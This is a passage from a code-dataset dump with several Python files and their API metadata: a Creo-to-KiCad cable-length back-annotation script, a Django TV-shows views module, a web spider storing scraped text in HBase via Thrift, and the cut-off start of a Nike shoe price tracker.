creoXml.getElementsByTagName(\"CONNECTION\")\r\n\t\tself.refDesVals = []\r\n\t\tself.harnessNum = []\r\n\t\tself.wireLength = []\r\n\t\tfor connection in connections:\r\n\t\t\twireName = connection.getAttribute(\"name\")\r\n\t\t\ttype = connection.getAttribute(\"type\")\r\n\t\t\tvarName = \"\"\r\n\t\t\tvarValue = \"\"\r\n\t\t\tif wireName[:1] ==\"W\" or type == \"ASSEMBLY\":\r\n\t\t\t\tself.refDesVals.append(wireName)\r\n\t\t\t\tparameters = connection.getElementsByTagName('PARAMETER')\r\n\t\t\t\tfor param in parameters:\r\n\t\t\t\t\tvarName = param.getAttribute('name')\r\n\t\t\t\t\tvarValue = param.getAttribute('value')\r\n\t\t\t\t\tif( varName == \"LENGTH\" ):\r\n\t\t\t\t\t\tself.wireLength.append(varValue)\r\n\t\t\t\t\tif( varName == \"HARNESS_NAME\"):\r\n\t\t\t\t\t\tself.harnessNum.append(varValue)\r\n\t\t\t\t\t\r\n\r\n\t\t# Put lenghts to Kicad Schematic\r\n\t\t# Do not overwrite the original file\r\n\t\tself.writeInfoStr( \"\\nProcessing wires and cables:\\n\" )\t\t\t\t\t\t\t\t\r\n\t\tself.writeInfoStr( \"----------------------------\\n\" )\t\t\t\t\t\t\t\t\r\n\t\tself.writeInfoStr( str(self.refDesVals) + \"\\n\\n\" )\t\t\t\t\t\t\t\t\r\n\r\n\t\tmyvariable = self.backUpFile( self.kiCadOriginalFile )\r\n\t\tkiCadSch = sch.Schematic( self.kiCadOriginalFile+\".bak\")\r\n\t\tself.writeKicadSheet( kiCadSch )\r\n\t\tkiCadSch.save( self.kiCadOriginalFile )\r\n\r\n\t\t# Process subsheets\r\n\t\tself.prosessedSheets = []\r\n\t\tfor sheet in kiCadSch.sheets:\t\t\t\r\n\t\t\tfor field in sheet.fields:\r\n\t\t\t\tif( field['id'] ==\"F1\" ):\r\n\t\t\t\t\tsubSheetFilename = field['value'].replace('\"', \"\")\r\n\t\t\t\t\t\r\n\t\t\t\t\tif( os.path.exists( subSheetFilename ) ):\r\n\t\t\t\t\t\tif( subSheetFilename in self.prosessedSheets ):\r\n\t\t\t\t\t\t\tself.writeWarningStr( \"Child .sch already processed: \" + subSheetFilename + \"!\\n\" )\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tself.writeWarningStr( \"NOTE: Reusing schematic shows the same wire\\n\" )\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tself.writeWarningStr( \"lengths and partnames in all instances of the file.\\n\" )\r\n\t\t\t\t\t\t\tself.writeWarningStr( \"Copy the .sch to a new name if you need\\n\" )\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tself.writeWarningStr( \"to have unique names and wire lengths!\\n\" )\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tself.writeInfoStr( \"\\nProcessing child sheet \" + subSheetFilename + \"\\n\" )\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tmyvariable = self.backUpFile( subSheetFilename )\r\n\t\t\t\t\t\t\tkicadChildSheet = sch.Schematic(subSheetFilename+\".bak\")\r\n\t\t\t\t\t\t\tself.writeKicadSheet( kicadChildSheet )\r\n\t\t\t\t\t\t\tkicadChildSheet.save( subSheetFilename )\r\n\t\t\t\t\t\t\tself.prosessedSheets.append(subSheetFilename)\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tself.writeErrorStr( \"File does not exist!: \" + subSheetFilename + \"\\n\" )\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\treturn True\r\n\t\r\n\t\r\n#-----------------------------------------------------------------------------------------\r\n# Read data from Creo Schematic file (Created with Creo)\r\n# and write the cable lengths and part numbers to Kicad V6 Schematic file\r\n# \r\n#\r\n#-----------------------------------------------------------------------------------------\r\n\tdef backAnnotateV6( self, fileName ):\r\n\t\tfrom sexpdata import loads, dumps\r\n\t\t\r\n\t\t# Put lenghts to Kicad Schematic\r\n\t\t# Do not overwrite the original file\r\n\t\tself.writeInfoStr( \"\\nProcessing wires and cables:\\n\" )\t\t\t\t\t\t\t\t\r\n\t\tself.writeInfoStr( \"----------------------------\\n\" )\t\t\t\t\t\t\t\t\r\n\t\tself.writeInfoStr( str(self.refDesVals) + \"\\n\\n\" )\t\t\t\t\t\t\t\t\r\n\t\t\r\n\r\n\t\tself.prosessedSheets = []\t\r\n\t\tcurrentDirectory = os.path.dirname( fileName )\r\n\t\tfor myfilename in self.sheets:\r\n\t\t\t#------------------------------------------------------------------\r\n\t\t\t# Error Cheking\r\n\t\t\tmyfilename = os.path.join( currentDirectory, myfilename )\r\n\t\t\tif( os.path.exists( myfilename ) ):\r\n\t\t\t\tif( myfilename in self.prosessedSheets ):\r\n\t\t\t\t\tself.writeWarningStr( \"Child .sch already processed: \" + myfilename + \"!\\n\" )\r\n\t\t\t\t\tself.writeWarningStr( \"NOTE: Reusing schematic shows the same wire\\n\" )\t\t\t\t\t\t\t\r\n\t\t\t\t\tself.writeWarningStr( \"lengths and partnames in all instances of the file.\\n\" )\r\n\t\t\t\t\tself.writeWarningStr( \"Copy the .sch to a new name if you need\\n\" )\t\t\t\t\t\t\t\t\r\n\t\t\t\t\tself.writeWarningStr( \"to have unique names and wire lengths!\\n\" )\r\n\t\t\t\t\tcontinue\r\n\t\t\t\telif ( self.backUpFile( myfilename ) ):\r\n\t\t\t\t\tself.writeInfoStr( \"\\nBacking up \" + myfilename + \" OK\\n\" )\r\n\t\t\t\telse:\r\n\t\t\t\t\tself.writeErrorStr( \"\\nBacking up \" + myfilename + \" FAILED\\n\" )\r\n\t\t\t\t\tcontinue\r\n\t\t\t#------------------------------------------------------------------\r\n\t\t\t# Process sheet for partnumbers and lengths\t\t\t\t\t\t\t\t\r\n\t\t\t\ttry:\r\n\t\t\t\t\tf = open((myfilename+\".bak\"),\"r\")\r\n\t\t\t\t\tself.line = f.read()\r\n\t\t\t\texcept:\r\n\t\t\t\t\tself.writeErrorStr( \"Could not read file: \" + myfilename +\".bak !\\n\" )\r\n\t\t\t\t\tcontinue\r\n\t\t\t\tfinally:\r\n\t\t\t\t\tself.kiCadSch = loads( self.line )\r\n\t\t\t\t\tself.writeKicadSch_v6( )\r\n\t\t\t\t\tf.close( )\t\t\t\t\t\r\n\t\t\t\ttry:\r\n\t\t\t\t\tf = open( myfilename, \"w\" )\r\n\t\t\t\t\tf.write(dumps( self.kiCadSch ))\r\n\t\t\t\texcept:\r\n\t\t\t\t\tself.writeErrorStr( \"Could not write file: \" + myfilename + \"!\\n\" )\r\n\t\t\t\tfinally:\r\n\t\t\t\t\tself.writeInfoStr( \"Updated file: \" + myfilename + \" succesfully.\\n\" )\r\n\t\t\t\t\tf.close( )\r\n\t\t\t\tself.prosessedSheets.append( myfilename )\r\n\t\t\t\t\r\n\t\t\telse:\r\n\t\t\t\tself.writeErrorStr( \"File does not exist!: \" + myfilename + \"\\n\" )\r\n\t\treturn True\r\n\r\n#-----------------------------------------------------------------------------------------\r\n# Read the correct filename from the .xml file\r\n#\r\n#-----------------------------------------------------------------------------------------\t\t\t\t\r\n\tdef getSourceFilenameFromXml( self, xmlFileName ):\r\n\t\ttmpObject = minidom.parse(xmlFileName)\r\n\t\tcurrentFileName = tmpObject.getElementsByTagName(\"source\")\r\n\t\tdel tmpObject\r\n\t\treturn( currentFileName[0].firstChild.nodeValue )\r\n\t\t\r\n\t\t\r\n#-----------------------------------------------------------------------------------------\r\n# String Logger functions\r\n#\r\n# These fuctions log the strings and outputs data to stdout and stderr\r\n#\r\n#-----------------------------------------------------------------------------------------\t\t\r\n\tdef writeInfoStr( self, iStr ):\r\n\t\tself.__infoString += iStr\r\n\r\n\tdef getInfoStr( self ):\r\n\t\treturn self.__infoString \r\n\r\n\tdef writeErrorStr( self, eStr ):\r\n\t\tself.__errorString += eStr\r\n\t\t\r\n\tdef getErrorStr( self ):\r\n\t\tif self.__errorString == \"\":\r\n\t\t\tself.__errorString=\"No Errors!\"\t\t\r\n\t\treturn self.__errorString \r\n\t\t\r\n\tdef clearErrorStr( self ):\r\n\t\tself.__errorString=\"\"\r\n\r\n\tdef writeWarningStr( self, wStr ):\r\n\t\tself.__warningString += wStr\r\n\t\t\r\n\tdef getWarningStr( self ):\r\n\t\tif self.__warningString == \"\":\r\n\t\t\tself.__warningString=\"No Warnigns!\"\r\n\t\treturn self.__warningString \r\n\t\t\r\n\tdef clearWarningStr( self ):\r\n\t\tself.__warningString=\"\"\r\n\t\t\r\n#-----------------------------------------------------------------------------------------\r\n# If this is called Independently\r\n#\r\n# Create instance and call with parameters\r\n#\r\n#-----------------------------------------------------------------------------------------\t\t\t\t\r\nif __name__ == '__main__':      \r\n\tfileToProcess = sys.argv[1]    \t\t\t\t# unpack 2 command line arguments  \r\n\t\r\n\t# Split the file extension away if it exists. This comes from command line\r\n\t# fileNameToProcess = os.path.splitext(fileToProcess)[0]\r\n\r\n\t# Initialize the function instance\r\n\tcreoCablelengths = xmlReadCreo( )\r\n\t\r\n\t# Get the filename from the xml-File\r\n\ttempFileName = creoCablelengths.getSourceFilenameFromXml( fileToProcess )\r\n\tfileNameToProcess = os.path.splitext(tempFileName)[0]\r\n\tfileExtension = os.path.splitext(tempFileName)[1]\r\n\t\r\n\tif( fileExtension == \".sch\" ):\r\n\t\tcreoCablelengths.writeInfoStr( \"\\nProsess Kicad V5 file.\\n\")\r\n\t\tif( creoCablelengths.readCreoPartNumsAndLengths( fileToProcess ) ):\t\t\r\n\t\t\tcreoCablelengths.readCreoSheetNames( fileNameToProcess )\r\n\t\t\tcreoCablelengths.backAnnotate( fileNameToProcess )\r\n\telif( fileExtension == \".kicad_sch\" ):\r\n\t\tcreoCablelengths.writeInfoStr( \"\\nProsess Kicad V6 file.\\n\")\r\n\t\tif( creoCablelengths.readCreoPartNumsAndLengths( fileToProcess ) ):\t\t\r\n\t\t\tcreoCablelengths.readCreoSheetNames( fileNameToProcess )\r\n\t\t\tcreoCablelengths.backAnnotateV6( fileNameToProcess )\t\r\n\telse:\r\n\t\tcreoCablelengths.writeInfoStr( \"\\nNo Valid Filename found \" + fileToProcess + \"\\n\" )\r\n\t\r\n\tprint(\"Info\", file=sys.stdout)\r\n\tprint( creoCablelengths.getInfoStr(), file=sys.stdout )\r\n\r\n\tprint(\"Warnigns\", file=sys.stdout)\r\n\tprint( creoCablelengths.getWarningStr(), file=sys.stdout )\r\n\r\n\tprint(\"Errors\", file=sys.stderr)\r\n\tprint( creoCablelengths.getErrorStr(), file=sys.stderr )\r\n\tprint( \"Please Reload the Kicad Schematic if Operation was Successful\", file=sys.stdout )\r\n\t", "repo_name": "lassefyr/kicadToCreo", "sub_path": "xmlReadCreo.py", "file_name": "xmlReadCreo.py", "file_ext": "py", "file_size_in_byte": 22591, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.exists", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "shutil.move", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "os.rename", "line_number": 69, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 97, "usage_type": "call"}, {"api_name": "sexpdata.car", "line_number": 130, "usage_type": "call"}, {"api_name": "sexpdata.Symbol", "line_number": 130, "usage_type": "name"}, {"api_name": "sexpdata.car", "line_number": 133, "usage_type": "call"}, {"api_name": "sexpdata.Symbol", "line_number": 133, "usage_type": "name"}, {"api_name": "sexpdata.cdr", "line_number": 134, "usage_type": "call"}, {"api_name": "sexpdata.car", "line_number": 143, "usage_type": "call"}, {"api_name": "sexpdata.Symbol", "line_number": 143, "usage_type": "call"}, {"api_name": "sexpdata.car", "line_number": 149, "usage_type": "call"}, {"api_name": "sexpdata.Symbol", "line_number": 149, "usage_type": "call"}, {"api_name": "sexpdata.cdr", "line_number": 149, "usage_type": "call"}, {"api_name": "sexpdata.cdr", "line_number": 150, "usage_type": "call"}, {"api_name": "sexpdata.cdr", "line_number": 151, "usage_type": "call"}, {"api_name": "sexpdata.car", "line_number": 154, "usage_type": "call"}, {"api_name": "sexpdata.Symbol", "line_number": 154, "usage_type": "call"}, {"api_name": "sexpdata.car", "line_number": 169, "usage_type": "call"}, {"api_name": "sexpdata.Symbol", "line_number": 169, "usage_type": "call"}, {"api_name": "sexpdata.cdr", "line_number": 170, "usage_type": "call"}, {"api_name": "sexpdata.cdr", "line_number": 180, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 186, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 222, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 223, "usage_type": "call"}, {"api_name": "os.path", "line_number": 223, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 255, "usage_type": "call"}, {"api_name": "os.path", "line_number": 255, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 258, "usage_type": "call"}, {"api_name": "os.path", "line_number": 258, "usage_type": "attribute"}, {"api_name": "xml.dom.minidom.parse", "line_number": 266, "usage_type": "call"}, {"api_name": "xml.dom.minidom", "line_number": 266, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 299, "usage_type": "call"}, {"api_name": "os.path", "line_number": 299, "usage_type": "attribute"}, {"api_name": "os.stat", "line_number": 302, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 303, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 303, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 304, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 304, "usage_type": "attribute"}, {"api_name": "xml.dom.minidom.parse", "line_number": 318, "usage_type": "call"}, {"api_name": "xml.dom.minidom", "line_number": 318, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 344, "usage_type": "call"}, {"api_name": "os.path", "line_number": 344, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 352, "usage_type": "call"}, {"api_name": "os.path", "line_number": 352, "usage_type": "attribute"}, {"api_name": "xml.dom.minidom.parse", "line_number": 359, "usage_type": "call"}, {"api_name": "xml.dom.minidom", "line_number": 359, "usage_type": "name"}, {"api_name": "sch.Schematic", "line_number": 388, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 399, "usage_type": "call"}, {"api_name": "os.path", "line_number": 399, "usage_type": "attribute"}, {"api_name": "sch.Schematic", "line_number": 409, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 435, "usage_type": "call"}, {"api_name": "os.path", "line_number": 435, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 439, "usage_type": "call"}, {"api_name": "os.path", "line_number": 439, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 440, "usage_type": "call"}, {"api_name": "os.path", "line_number": 440, "usage_type": "attribute"}, {"api_name": "sexpdata.loads", "line_number": 462, "usage_type": "call"}, {"api_name": "sexpdata.dumps", "line_number": 467, "usage_type": "call"}, {"api_name": "xml.dom.minidom.parse", "line_number": 484, "usage_type": "call"}, {"api_name": "xml.dom.minidom", "line_number": 484, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 531, "usage_type": "attribute"}, {"api_name": "{'Symbol': 'sexpdata.Symbol', 'car': 'sexpdata.car', 'cdr': 'sexpdata.cdr', 'loads': 'sexpdata.loads', 'dumps': 'sexpdata.dumps'}", "line_number": 537, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 541, "usage_type": "call"}, {"api_name": "os.path", "line_number": 541, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 542, "usage_type": "call"}, {"api_name": "os.path", "line_number": 542, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 557, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 558, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 560, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 561, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 563, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 564, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 565, "usage_type": "attribute"}]}
{"seq_id": "3900162868", "text": "from django.shortcuts import render, redirect\nfrom .models import Show\nfrom django.contrib import messages\n\ndef shows(request):\n    context = {\n        \"shows\":Show.objects.all()\n    }\n    return render(request, \"index.html\", context)\n\ndef index(request):\n    return redirect(\"/shows\")\n\ndef new_show(request):\n    return render(request, \"new_show.html\")\n\ndef add_new_show(request):\n    errors = Show.objects.basic_validator(request.POST)\n    if len(errors) > 0:\n        for key, value in errors.items():\n            messages.error(request, value)\n        return redirect(f\"/shows/new\")\n    else:\n        new_show = Show.objects.create(title = request.POST['title'],\n            description = request.POST['description'],\n            network = request.POST['network'],\n            release_date = request.POST['release_date']\n            )\n        return redirect(f\"/shows/{new_show.id}\")\n\ndef show(request, show_id):\n    context = {\n        \"show\":Show.objects.get(id = show_id)\n    }\n    return render(request, \"show.html\", context)\n\ndef edit_show(request, show_id):\n    context = {\n        \"show\":Show.objects.get(id = show_id)\n    }\n    return render(request, \"edit_show.html\", context)\n\ndef update_show(request, show_id):\n    errors = Show.objects.basic_validator(request.POST)\n    if len(errors) > 0:\n        for key, value in errors.items():\n            messages.error(request, value)\n        return redirect(f\"/shows/{show_id}/edit\")\n    else:\n        new_show = Show.objects.get(id = show_id)\n        new_show.title = request.POST['title']\n        new_show.description = request.POST['description']\n        new_show.network = request.POST['network']\n        new_show.release_date = request.POST['release_date']\n        new_show.save()\n        return redirect(f\"/shows/{new_show.id}\")\n\ndef delete_show(request, show_id):\n    show = Show.objects.get(id = show_id)\n    show.delete()\n    return redirect(\"/shows\")", "repo_name": "edanik90/pythonStack", "sub_path": "django/djangoFullStack/tv_shows_project/tv_shows_app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1916, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "models.Show.objects.all", "line_number": 7, "usage_type": "call"}, {"api_name": "models.Show.objects", "line_number": 7, "usage_type": "attribute"}, {"api_name": "models.Show", "line_number": 7, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 9, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 12, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 15, "usage_type": "call"}, {"api_name": "models.Show.objects.basic_validator", "line_number": 18, "usage_type": "call"}, {"api_name": "models.Show.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "models.Show", "line_number": 18, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 21, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 21, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 22, "usage_type": "call"}, {"api_name": "models.Show.objects.create", "line_number": 24, "usage_type": "call"}, {"api_name": "models.Show.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "models.Show", "line_number": 24, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 29, "usage_type": "call"}, {"api_name": "models.Show.objects.get", "line_number": 33, "usage_type": "call"}, {"api_name": "models.Show.objects", "line_number": 33, "usage_type": "attribute"}, {"api_name": "models.Show", "line_number": 33, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 35, "usage_type": "call"}, {"api_name": "models.Show.objects.get", "line_number": 39, "usage_type": "call"}, {"api_name": "models.Show.objects", "line_number": 39, "usage_type": "attribute"}, {"api_name": "models.Show", "line_number": 39, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 41, "usage_type": "call"}, {"api_name": "models.Show.objects.basic_validator", "line_number": 44, "usage_type": "call"}, {"api_name": "models.Show.objects", "line_number": 44, "usage_type": "attribute"}, {"api_name": "models.Show", "line_number": 44, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 47, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 47, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 48, "usage_type": "call"}, {"api_name": "models.Show.objects.get", "line_number": 50, "usage_type": "call"}, {"api_name": "models.Show.objects", "line_number": 50, "usage_type": "attribute"}, {"api_name": "models.Show", "line_number": 50, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 56, "usage_type": "call"}, {"api_name": "models.Show.objects.get", "line_number": 59, "usage_type": "call"}, {"api_name": "models.Show.objects", "line_number": 59, "usage_type": "attribute"}, {"api_name": "models.Show", "line_number": 59, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 61, "usage_type": "call"}]}
{"seq_id": "28267958268", "text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\nimport re\nimport requests\nimport os\nimport base64\n\n\n#导入thrift的python模块\nfrom thrift import Thrift\nfrom thrift.transport import TSocket\nfrom thrift.transport import TTransport\nfrom thrift.protocol import TBinaryProtocol\n#导入编译生成的hbase 模块\nfrom myThrift.hbase import THBaseService\nfrom myThrift.hbase.ttypes import *\n\n#response =requests.get('http://duanziwang.com/')\n#data = response.text\n#result = re.findall('(.*?)',data)\n\ndef get_page(url):\n    try:\n        headers = {'User-Agent':'Mozilla/5.0(Windows NT 10.0;Win64; x64) APPleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36'}\n        response = requests.get(url, timeout=10)\n        data = response.text\n        result = re.findall('(.*?)',data)\n        #result = re.findall('(.*?)',data)\n        #result = re.findall('(.*?)',data)\n        return  result\n    except:\n        return \"\"\n    #/html/body/section/div/div/main\n    #//*[@id=\"1844\"]/div[2]\n    #//*[@id=\"1847\"]/div[1]/h1/a\n    #//*[@id=\"1845\"]/div[1]/h1/a\n    #//*[@id=\"1847\"]/div[2]/p/text()\n    #//*[@id=\"1843\"]/footer/div/a[2]\ndef out_write(result):\n    with open('areduanzi4.txt','a',encoding='utf-8')as fw:\n        for i in result:\n            fw.write('\\n'+i)\n            fw.flush()\n\ndef put(url,result):\n    #创建Socket连接，到s201:9090\n    transport = TSocket.TSocket('192.168.43.155', 9090)\n    transport = TTransport.TBufferedTransport(transport)\n    protocol = TBinaryProtocol.TBinaryProtocol(transport)\n    client = THBaseService.Client(protocol)\n    #打开传输端口\n    transport.open()\n    #对url进行base64编码，形成bytes,作为rowkey\n    urlBase64Bytes = url.encode(\"utf-8\")\n\n    #put操作\n    table = b'ns01:t4'\n    rowkey = urlBase64Bytes\n\n    for i in result:\n        #v1 = TColumnValue(rb'f1', b'duanzi',i)\n        print(i)\n        print(\"-\"*30)\n        bytes = i.encode('utf-8')\n        tcls = TColumnValue(b'f1', b'content', bytes)\n        vals = [tcls]\n        put = TPut(rowkey, vals)\n        client.put(table, put)\n    print(\"okkkk!!\")\n    transport.close()\n\n\ndef get(url,d,m):\n    #创建Socket连接，到s201:9090\n    transport = TSocket.TSocket('192.168.43.155', 9090)\n    transport = TTransport.TBufferedTransport(transport)\n    protocol = TBinaryProtocol.TBinaryProtocol(transport)\n    client = THBaseService.Client(protocol)\n    #打开传输端口\n    transport.open()\n    #对url进行base64编码，形成bytes,作为rowkey\n    urlBase64Bytes = url.encode(\"utf-8\")\n    #get\n    table = b'ns01:t4'\n    rowkey=urlBase64Bytes\n    col_id = TColumn(b\"f1\",b'content')\n    cols = [col_id]\n    get = TGet(rowkey,cols)\n    res = client.get(table,get)\n    print(bytes.decode(res.columnValues[0].qualifier))\n    print(bytes.decode(res.columnValues[0].family))\n    print(res.columnValues[0].timestamp)\n    print(bytes.decode(res.columnValues[0].value))\n    transport.close()\n    print(\"Get data okokok\")\n\ndef scan():\n    #创建Socket连接，到s201:9090\n    transport = TSocket.TSocket('192.168.43.155', 9090)\n    transport = TTransport.TBufferedTransport(transport)\n    protocol = TBinaryProtocol.TBinaryProtocol(transport)\n    client = THBaseService.Client(protocol)\n    #打开传输端口\n    transport.open()\n\n    # scan 全表扫描操作\n    table = b'ns01:t4'\n\n    # startRow = b'34,13520401111,20180114152647,0,13269364444,406'\n    # stopRow = b'90,15032295555,20180922165903,0,15778421111,298'\n    # dur = TColumn(b\"f1\", b\"callDuration\")\n    # time = TColumn(b\"f1\", b\"callTime\")\n    # caller = TColumn(b\"f1\", b\"caller\")\n    # callee = TColumn(b\"f1\", b\"callee\")\n    # cols = [dur, time,caller,callee]\n    #caller = TColumn(b\"f1\", b\"name\")\n\n    callee = TColumn(b\"f1\", b'content')\n    cols = [callee]\n\n    scan = TScan(columns=cols,startRow=\"1\".encode(),stopRow=\"10\".encode(),maxVersions=10)\n    r = client.getScannerResults(table,scan,10);\n    print(len(r))\n    for x in r:\n        print(\"============\")\n        print(bytes.decode(x.columnValues[0].qualifier))\n        #print(bytes.decode(x.columnValues[0].family))\n      #  print(x.columnValues[0].timestamp)\n        print(bytes.decode(x.columnValues[0].value))\n\n        print(x.columnValues[0].value)\n\n    transport.close()\n    print(\"Scan data okokok\")\n\n\ndef out_print(data):\n    for i in data:\n        print(i)\n\nif __name__ == '__main__':\n    url = \"http://duanziwang.com/\"\n    #u =get_page(url) #爬取网页\n    #out_write(u)#写到文档\n   # put(url,u)\n\n\n#    get(url)\n   # out_print(u)#打印到屏幕\n    scan()\n", "repo_name": "AlvisZhao/TrainingSpider", "sub_path": "Python2Hbase/myThrift/SpiderNum01.py", "file_name": "SpiderNum01.py", "file_ext": "py", "file_size_in_byte": 4711, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.get", "line_number": 25, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 27, "usage_type": "call"}, {"api_name": "thrift.transport.TSocket.TSocket", "line_number": 47, "usage_type": "call"}, {"api_name": "thrift.transport.TSocket", "line_number": 47, "usage_type": "name"}, {"api_name": "thrift.transport.TTransport.TBufferedTransport", "line_number": 48, "usage_type": "call"}, {"api_name": "thrift.transport.TTransport", "line_number": 48, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocol", "line_number": 49, "usage_type": "call"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 49, "usage_type": "name"}, {"api_name": "myThrift.hbase.THBaseService.Client", "line_number": 50, "usage_type": "call"}, {"api_name": "myThrift.hbase.THBaseService", "line_number": 50, "usage_type": "name"}, {"api_name": "thrift.transport.TSocket.TSocket", "line_number": 75, "usage_type": "call"}, {"api_name": "thrift.transport.TSocket", "line_number": 75, "usage_type": "name"}, {"api_name": "thrift.transport.TTransport.TBufferedTransport", "line_number": 76, "usage_type": "call"}, {"api_name": "thrift.transport.TTransport", "line_number": 76, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocol", "line_number": 77, "usage_type": "call"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 77, "usage_type": "name"}, {"api_name": "myThrift.hbase.THBaseService.Client", "line_number": 78, "usage_type": "call"}, {"api_name": "myThrift.hbase.THBaseService", "line_number": 78, "usage_type": "name"}, {"api_name": "thrift.transport.TSocket.TSocket", "line_number": 99, "usage_type": "call"}, {"api_name": "thrift.transport.TSocket", "line_number": 99, "usage_type": "name"}, {"api_name": "thrift.transport.TTransport.TBufferedTransport", "line_number": 100, "usage_type": "call"}, {"api_name": "thrift.transport.TTransport", "line_number": 100, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocol", "line_number": 101, "usage_type": "call"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 101, "usage_type": "name"}, {"api_name": "myThrift.hbase.THBaseService.Client", "line_number": 102, "usage_type": "call"}, {"api_name": "myThrift.hbase.THBaseService", "line_number": 102, "usage_type": "name"}]}
{"seq_id": "41044906912", "text": "import requests\r\nfrom bs4 import BeautifulSoup\r\n\r\nproducts_to_track = [\r\n\r\n    {\r\n        \"URL\":\"https://www.nike.com/in/t/air-jordan-1-mid-se-shoes-CQ6f9G/DV1308-104\",\r\n        \"Price\":\"12295.00\",\r\n        \"Target_price\":13000.00\r\n    },\r\n    {\r\n        \"URL\":\"https://www.nike.com/in/t/air-jordan-1-mid-shoes-SQf7DM/DQ8426-014\",\r\n        \"Price\":\"11495.00\",\r\n        \"Target_price\":10000.00\r\n    },\r\n    {\r\n        \"URL\":\"https://www.nike.com/in/t/air-force-1-07-shoes-WrLlWX/CW2288-111\",\r\n        \"Price\":\"7495.00\",\r\n        \"Target_price\":7000.00\r\n    },\r\n    {\r\n        \"URL\":\"https://www.nike.com/in/t/court-vision-low-next-nature-shoes-N2fFHb/DH2987-100\",\r\n        \"Price\":\"4995.00\",\r\n        \"Target_price\":4500.00\r\n    },\r\n    {\r\n        \"URL\":\"https://www.nike.com/in/t/nikecourt-royale-2-next-nature-shoes-RRcr20/DH3160-001\",\r\n        \"Price\":\"3995.00\",\r\n        \"Target_price\":4000.00\r\n    }\r\n]\r\n\r\ndef give_product_name(URL):\r\n    headers = {\r\n            \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36\"\r\n    }\r\n    page = requests.get(URL, headers=headers)\r\n    soup = BeautifulSoup(page.content, 'html.parser')\r\n    product_name = soup.find(id=\"pdp_product_title\")\r\n    return product_name.getText()\r\n\r\nresult_file = open('my_result_file.txt','w')\r\n\r\ntry:\r\n    for every_product in products_to_track:\r\n        Product_name = give_product_name(every_product.get(\"URL\"))\r\n        print(Product_name + \"  -  \" + 